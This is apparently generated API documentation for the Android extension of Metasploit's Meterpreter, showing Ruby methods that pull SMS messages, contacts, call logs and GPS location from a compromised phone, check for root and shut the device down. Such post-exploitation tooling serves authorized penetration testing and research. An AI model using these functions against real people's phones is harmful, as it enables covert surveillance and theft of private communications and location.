Class: Rex::Post::Meterpreter::Extensions::Android::Android

Inherits:
Rex::Post::Meterpreter::Extension show all
Defined in:
lib/rex/post/meterpreter/extensions/android/android.rb

Instance Attribute Summary

Attributes inherited from Rex::Post::Meterpreter::Extension

#name

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ Android

Returns a new instance of Android.



23
24
25
26
27
28
29
30
31
32
33
34
35
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 23

def initialize(client)
  super(client, 'android')

  # Alias the following things on the client object so that they
  # can be directly referenced
  client.register_extension_aliases(
    [
      {
        'name' => 'android',
        'ext'  => self
      },
    ])
end

Instance Method Details

#check_rootObject



117
118
119
120
121
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 117

def check_root
  request = Packet.create_request('check_root')
  response = client.send_request(request)
  response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
end

#device_shutdown(n) ⇒ Object



37
38
39
40
41
42
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 37

def device_shutdown(n)
  request = Packet.create_request('device_shutdown')
  request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
  response = client.send_request(request)
  return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
end

#dump_calllogObject



97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 97

def dump_calllog
  log = Array.new
  request = Packet.create_request('dump_calllog')
  response = client.send_request(request)

  response.each(TLV_TYPE_CALLLOG_GROUP) { |p|

    log <<
    {
      'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
      'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
      'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
      'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
      'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
    }

  }
  return log
end

#dump_contactsObject



64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 64

def dump_contacts
  contacts = Array.new
  request = Packet.create_request('dump_contacts')
  response = client.send_request(request)

  response.each( TLV_TYPE_CONTACT_GROUP ) { |p|

    contacts <<
    {
      'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
      'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
      'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
    }

  }
  return contacts
end

#dump_smsObject



44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 44

def dump_sms
  sms = Array.new
  request = Packet.create_request('dump_sms')
  response = client.send_request(request)

  response.each( TLV_TYPE_SMS_GROUP ) { |p|

    sms <<
    {
      'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
      'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
      'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
      'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
      'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
    }

  }
  return sms
end

#geolocateObject



82
83
84
85
86
87
88
89
90
91
92
93
94
95
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 82

def geolocate

  loc = Array.new
  request = Packet.create_request('geolocate')
  response = client.send_request(request)

  loc <<
  {
    'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
    'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
  }

  return loc
end